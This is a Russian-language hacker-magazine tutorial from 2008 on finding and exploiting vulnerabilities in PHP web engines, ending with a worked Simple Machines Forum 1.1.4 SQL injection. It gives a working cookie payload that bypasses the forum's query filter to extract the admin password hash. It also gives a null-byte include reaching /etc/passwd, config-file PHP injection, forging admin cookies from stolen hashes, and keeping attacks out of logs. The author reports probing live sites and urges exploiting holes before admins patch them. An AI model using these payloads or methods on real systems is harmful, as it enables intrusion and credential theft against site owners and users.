Тернистый путь багоискателя: общие приемы анализа PHP-движков
🕛 16.06.2008, 11:55
Бытует мнение, что найти серьезный баг в популярном продукте нельзя. Действительно, это реально сложно, но отнюдь не невозможно. Конечно, современные продукты кодеры пишут явно с учетом существования нас с вами. Сканят новейшими сканерами, ставят всякие проверки, отдают проект разным аудит-Корпорациям, отваливая тонны бабла за услуги пен-тестинга. Но никто и ничто не гарантирует абсолютную защищенность. И хоть сто тестеров будут искать баги - проследить все взаимозависимости, вызовы способен лишь гений. Которых, как известно, не существует :). Зато хакеров, которых хлебом не корми, дай что-нибудь взломать, пока хватает.Создаем плацдарм
Перво-наперво поднимем локальный веб-сервер на своем PC. Ведь, согласись, что палить найденные баги в логах на официальном сайте просто не профессионально. Хотя дело не только в "засвечивании" уязвимостей. Настройки чужого сервера могут быть нам не благоприятны, и мы просто не заметим баг, который живет в движке. Поэтому, скажу немного о настройке локального веб-сервера с приоритетом на максимальное отображение всех ошибок.
Для продуктивной работы, обзаведемся связкой Apache+PHP+Mysql. Уделим внимание некоторым переменным в php.ini.
php.ini
register_globals=ON ; глобализация переменных - потенциальная брешь в безопасности
magic_quotes=OFF ; отключаем магические ковычки для GET/POST/COOKIE - благоприятствует SQL-inj
magic_quotes_runtime=OFF ; благоприятствует SQL-inj
magic_quotes_sybase=OFF ; благоприятствует SQL-inj
mysql.trace_mode=ON ; включает показ ошибок Mysql
allow_url_fopen=ON ; разрешает удаленное открытие файлов файловыми функциями
allow_url_include=ON ; разрешает удаленно инклудить файлы(PHP5.2)
error_reporting=E_ALL ; показ всех ошибок
error_log= /var/log/httpd/php_error ; логирование ошибок
log_errors=ON ; логирование ошибок
disable_functions= ; никаких ограничений
safe_mode=OFF ; никаких ограничений
open_basedir= ; никаких ограничений
sql.safe_mode=OFF ; благоприятствует SQL-inj
И, конечно, грамотно настроим конфиг Апача:
DirectoryIndex [пусто] ; нет стартовой страницы
Options Indexes ; листинг директорий
(это позволит сканеру свободно проидексировать и проанализировать все скрытые скрипты)
Все. Теперь наш плацдарм готов для анализа бажных движков.
Поисковики
Аудит цели практически каждый привык начинать с нехитрых запросов на поисковых системах. Но вот когда дело доходит до аудита кода, мы забываем про них! Это зря. Ведь Гугл предоставил нам мощное средство поиска определенных вещей в исходниках. Прими это к сведению - пригодится.
Сравнение версий
Ничто не мешает нам обратить обновление движка против него самого. То есть, тупо взять две соседних версии какого-либо проекта и сравнением изменений найти в нем баг. Часто разработчик прикладывает HISTORY.txt к своему детищу, дабы мы могли на глазок оценить прогресс развития проекта. Но это палка о двух концах. Ведь в этом файле помимо всяких баг-фиксов может быть и скудное описание найденных закрытых уязвимостей. Иными словами, мы можем использовать History.txt для атак на старые версии, ведь за обновлением движка следит далеко не каждый администратор проекта.
Еще один момент (так сказать, на заметку). То, что пофиксено - не обязательно пофиксено везде. Есть множество примеров как из публичных багов (например, подстановка %2527 в phpBB), так и случаев из личного опыта, когда разработчиком патчится один файл, а по соседству лежат еще 10 дырявых скриптов с аналогичным багом :). Чем не рай для хакера?
Если у хакера есть цель - взломать определенный движок, то следует посетить официальный сайт проекта. Там на 99% security-трек, либо RSS-лента. Там следует поискать что-нибудь интересное. Будь то информация о новом модуле, или мегадобавление, без которого пользователь, по уверениям разработчика, не сможет прожить ни дня :).
Бывает, что состав команды кодеров меняется. И в первую очередь страдает именно безопасность, поскольку сроки выполнения проекта, всегда важнее его качества.
И последний момент. Обязательно скачай последнюю и предпоследнюю версию движка. В общем-то я уже это предлагал, но здесь речь пойдет не об HISTORY.txt. Воспользуйся автоматизированной утилитой для побайтного сравнения файлов (например, AVC, WinMerge, AutoVer, Bazaar, Beyond Compare, все эти утилы ищи на нашем DVD) и попытайся понять, почему программист дописал или убрал выделяющийся код. Отмечу также, что замечательность архива, в который запакован движок, в том, что помимо самих файлов в нем сохраняются их атрибуты, в том числе и даты изменения. Распаковав архив, находим банальным виндовым поиском свеженькие файлы и скрупулезно ищем отличия в них из предыдущей версии двига.
Поиск по регулярному выражению
Итак, наступает самая важная хакерская фаза - ручная раскопка исходников. Поверь мне, так и только так мы получим то что ищем. Ведь ни один сканер не сделает за тебя эту грязную и скрупулезную работу!
С течением времени опыт будет брать своё... то есть давать. Давать тебе возможность просматривать код одним глазом (или даже по диагонали) и сходу выявлять дефекты приложения. Но первое время все же рекомендую тебе пользоваться какой-либо продвинутой поисковой софтиной. У же чего чего, а их сейчас предостаточно. Желательно, чтобы тулза поддерживала поиск в архивах, поскольку при массовом скане набора движков на конкретный баг (согласись, что распаковывать каждый файл для хакера весьма накладно). Чтобы не быть голословным, я выложил на наш DVD подборку зарекомендованных программ (SearchInform, PowerGREP, HandyFind и TextSuperSearch).
Поставив себе одну из этих программ, зададим слово или ключевую фразу и обратимся к огромному логу. Помни, что баг, в отличии от девушки, ждет тебя, постоянен и предсказуем :).
Поиск может носить взаимообратную тактику, то есть либо мы сканируем один двиг на все баги, либо набор движков на один баг. В первом случае мы работаем на качество (к чему я и советую стремиться), а во втором, несомненно, на количество.
Часто случается так, что хакер находит уязвимость в функции PHP, регулярном выражении или в другой глобальной вещи. И данный баг характерен для многих продуктов. Помни, Главная задача заключается в том, чтобы не проворонить аналогичную дырку в другом популярном двиге и заюзать её, пока админ или другой хакер не добрался до багтрака.
Кстати! Внимательно следи за багтраками, смотри принцип работы чужих эксплоитов - тебе все это понадобится в дальнейшем, если ты действительно намерен добиться успеха, а не быть посредственным псевдохакером, каких сейчас толпы.
Цели поиска
Итак, давай выясним, чего же мы хотим? А хотим мы, так или иначе, порулить сервером. Исходя из этого, сформулируем цели и задачи.
Вторжение на сервер условно можно разделить на следующие этапы:
1. Повышение привилегий. В общем случае этап заключается в повышении прав с гостя до администратора/модератора/редактора и т.д. Как правило, это осуществляется при помощи SQL-инъекции или XSS. О данных атаках не раз писали на страницах нашего журнала, поэтому заострять внимание на этом не буду. На практике, доверия к администратору всегда больше, потому код «админок» или «модерок» на порядок дырявее прочего. И частенько, имея учетную запись пользователя или модератора, есть возможность, так или иначе, получить права админа.
Согласен, что данный шаг не обязателен, поскольку наличие других уязвимостей может позволить пропустить его, например:
2. Выполнение произвольного кода с привилегиями веб-сервера. Вот то, ради чего мы с вами мучаемся (хотя, надо сказать, что далеко не каждый хакер удовлетворяется веб-шелом). Отдельно коснусь инклудов. Не забываем, что для удаленных уязвимостей подобного рода, помимо нулл-байта существует знак вопроса, а для локальных пригодны логи апача и файлы сессий.
Заострим наше внимание на исполнении произвольного кода в админке. Желанная надпись "Загрузить шелл как картинку" ;) встречается все реже, а полазать по серваку нам по прежнему очень хочется. Существует масса способов исполнить произвольный код, там где нельзя, но очень хочется. Часть из них я описал в статье «Роковых ошибках PHP», а вот еще парочка способов «на десерт».
Трюк первый
99% приложений доверяют данным, получаемым из БД. Данные очень тщательно проверяются при заносе в БД, но не наоборот. Смак в том, что даже если на серваке включен magic_quotes и найденный инклуд невозможно проэксплуатировать, то MySQL дает нам отличный козырь, поскольку он вполне переваривает NULL-байт. Ну а в базе может храниться путь к двигу, теме, шаблону, или языку, который входит в часть пути инклуда! А модуль восстановления БД есть сейчас практически везде. Вот так, нехитрым образом, мы можем посмотреть базу аккаунтов на сервере.
UPDATE cms_config SET lang=concat('rus/../../../../etc/passwd',0x00);
Трюк второй
Настройки доступа к БД зачастую хранятся в файле, который может редактироваться из админки. В случае недостаточной фильтрации мы можем вписать в конфиг произвольный PHP-код. Например, phpinfo();
Было
$db_host = 'localhost';
Стало
$db_host = 'localhost';phpinfo();\\';
3) Дальнейшее повышение прав aka «полный рут» всеми правдами и неправдами. Рассмотрение сей проблемы, к сожалению, выходит за пределы данной статьи.
Сладкое печенье
Предположим, мы с помощью найденной баги перехватили хэш пароля администратора. Но вот незадача - вход в админку реализуется только по паролю (не в виде хэша). Неужели опять брутить? Не спешим запускать любимый брутфорс, а внимательно покопаемся в сорцах с целью четкого выяснения механизма авторизации. В большинстве случаев вовсе не обязательно колоть хэш - достаточно сгенерировать валидый кукиз на его основе и админка будет для нас открыта.
Надо сказать, что еще далеко не все движки используют сессии, время жизни сессии/кукиза, или хитрый алгоритм с солью, что препятствует использованию добытого хэша в хакерских целях.
Автоматизация
Настало время написать эксплоит на успешно найденный баг. Не волнуйся, нет тут ничего сверхсложного. Новичку я бы рекомендовал первое время разобраться в чужом эксплойте и просто апдейтить его код под свои нужды. Со временем, напишешь свой собственный. Выбор языка - дело твоего вкуса и склонностей. В качестве базы ты можешь воспользоваться моим, который мы сейчас напишем.
При написании эксплойта желательно использовать алгоритм атаки, наиболее незаметной с точки зрения логов (POST, COOKIE, но никак не GET! Не стоит палить найденный баг), а также учитывать пограничные ситуации когда в работе эксплойта может пойти что-либо не так. Например, отключен вывод ошибок, на который опирается эксплойт, или версия/тип базы данных не подходит. Здесь следует грамотно предусмотреть режим отладки и т.п. Не ленись - сделай это для себя, ведь самому же будет проще разобраться в дальнейшем.
SMF <= 1.1.4 SQL-injection
Настало время применить наши знания на практике. В качестве цели был избран подопытный движок Simple Machines Forum (SMF) последней версии 1.1.4.
Позволю себе небольшое лирическое отступление: летом в SMF нашли SQL-injection и в связи с этим был обнародован публичный эксплоит. К месту сказать о том, что после подобных "сюрпризов" Программисты хватаются за голову и начинают старательно патчить своё творение. После чего поиск новых уязвимостей становится на порядок сложнее. Сразу после выхода эксплоита кодеры реально озаботились секурностью своего продукта и залатали дырки по полной программе. Гайки закрутили крайне старательно - слешируется и “чарится” абсолютно все, что только существует, причем иногда и по два-три раза :). Встроена целенаправленная защита от ансета, глобальса, SQL-атак, организовано грамотное логирование ошибок. В общем, вроде, все как подобает.
Но русские хакеры не сдаются :). Пробежавшись по сорцам я заметил интересную вещь: глобальный массив _REQUEST насильно переписывают через _GET и _POST. Даже не представляю, зачем это потребовалось делать. Далее, кодеры забывают обнулить $topic в случае отсутствия его в новом запросе. Смотри сам:
/Sources/QueryString.php
$_REQUEST = $_POST + $_GET;
...
if (isset($_REQUEST['topic']))
{
$topic = (int) $_REQUEST['topic'];
}
Таким образом, при register_globals=ON мы можем определить $topic через _COOKIE и обойти фильтрацию.
Дело в том, что в дальнейшем скрипты всецело доверяют переменной $topic, подставляя её в кучу кверей даже без кавычек!
/Sources/Load.php
// Check for moderators and see if they have access to the board.
function loadBoard()
{
...
if (empty($temp))
{
$request = db_query("
SELECT
c.ID_CAT, b.name AS bname, b.description, b.numTopics, b.memberGroups,
b.ID_PARENT, c.name AS cname, IFNULL(mem.ID_MEMBER, 0) AS ID_MODERATOR,
mem.realName" . (!empty($topic) ? ", b.ID_BOARD" : '') . ", b.childLevel,
b.ID_THEME, b.override_theme, b.permission_mode, b.countPosts
FROM ({$db_prefix}boards AS b" . (!empty($topic) ? ", {$db_prefix}topics AS t" : '') . ")
LEFT JOIN {$db_prefix}categories AS c ON (c.ID_CAT = b.ID_CAT)
LEFT JOIN {$db_prefix}moderators AS mods ON (mods.ID_BOARD = " . (empty($topic) ? $board : 't.ID_BOARD') . ")
LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = mods.ID_MEMBER)
WHERE b.ID_BOARD = " . (empty($topic) ? $board : "t.ID_BOARD
AND t.ID_TOPIC = $topic"), _FILE_, _LINE_);
Перебрав несколько сайтов из гугла, я нашел подтверждение своей догадке в виде победного "...Mysql error.." :).
Но если бы все было так просто... Получив вожделенный еррор возникает следующая проблема - защита против скулей.
/Sources/Subs.php
function db_query($db_string, $file, $line)
{
..
if (empty($modSettings['disableQueryCheck']))
{
..
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s', '~/\*!40001 SQL_NO_CACHE \*/~', '~/\*!40000 USE INDEX \([A-Za-z\_]+?\) \*/~'), array(' ', '', ''), $clean)));
// We don't use UNION in SMF, at least so far. But it's useful for injections.
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Comments? We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '-') !== false || strpos($clean, ';') !== false)
$fail = true;
// Trying to change passwords, slow us down, or something?
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
$fail = true;
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Sub selects? We don't use those either.
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
$fail = true;
Как видно из кода, мы не можем использовать 'union', 'select','sleep', 'benchmark' и '/*'. Если использовать технологию "Subquery more 1 row" , то можно отказаться от union, sleep и benchmark. Но select и комментарий все равно остаются необходимы...
Казалось бы ситуация безысходна. Поскольку select будет пропущен фильтром, если перед селектом закроется скобка, то мы можем закрыть скобку в комментарии. Но ведь и сам комментарий вида /**/ фильтруется. Немного подумав, я вспомнил малоизвестный комментарий для mysql - '#'. Однако ‘#’ комментирует все от решетки и до конца строки, пожирая при этом всю полезную нагрузку. Тогда введем %0A (перевод строки) и полезное выражение, будучи начатым как бы со следующей строчки, воспринимается интерпретатором вполне корректно!
COOKIE: topic=(#)%0Aselect 1)
Рабочий запрос полностью:
/index.php
COOKIE: topic=if(ascii(substring((#)%0Aselect concat(id_member,0x3A,passwd) from smf_members where is_activated=1 AND id_member=1 limit 1),1,1))>1,1,(#)%0Aselect null from smf_members));
Еще некоторое время уходит на подгонку под багу моего шаблонного эксплоита, который ты можешь найти на видео-ролике к этой статье. Результатом работы эксплойта является хеш админского пароля в алгоритме sha1(strtolower($username).$password).
Последняя версия PasswordPro имеет специальный модуль для восстановления пароля от такого хеша.
Напутствие
Как видишь, даже весьма серьезные и защищаемые продукты не застрахованы от всех опасностей. Беграмотность кодеров и незнание тонкостей среды, в которой они программируют - настоящий рог изобилия багов. Помни это и копай дальше!
WWW
http://en.wikipedia.org/wiki/Code_injection
http://seclists.org/fulldisclosure/2006/May/0035.html
http://www.google.com/codesearch?hl=ru - Search bags now!
http://security.nnov.ru/source/PHP.html - bugs in PHP
http://madnet.name/tools/bugsearch/ - уникальный оригинальный он-лайн гугл-сканер.
http://tools.webmasters.sk/sitemap-creator.php - инструмент создания карты сайта. находит то, о чем давно забыл админ :)
http://domainsdb.net
http://www.domaintools.com/reverse-ip/
http://www.seologs.com/ip-domains.html
http://search.msn.com/results.aspx?q=ip%3A77.88.21.11&first=1&FORM=PERE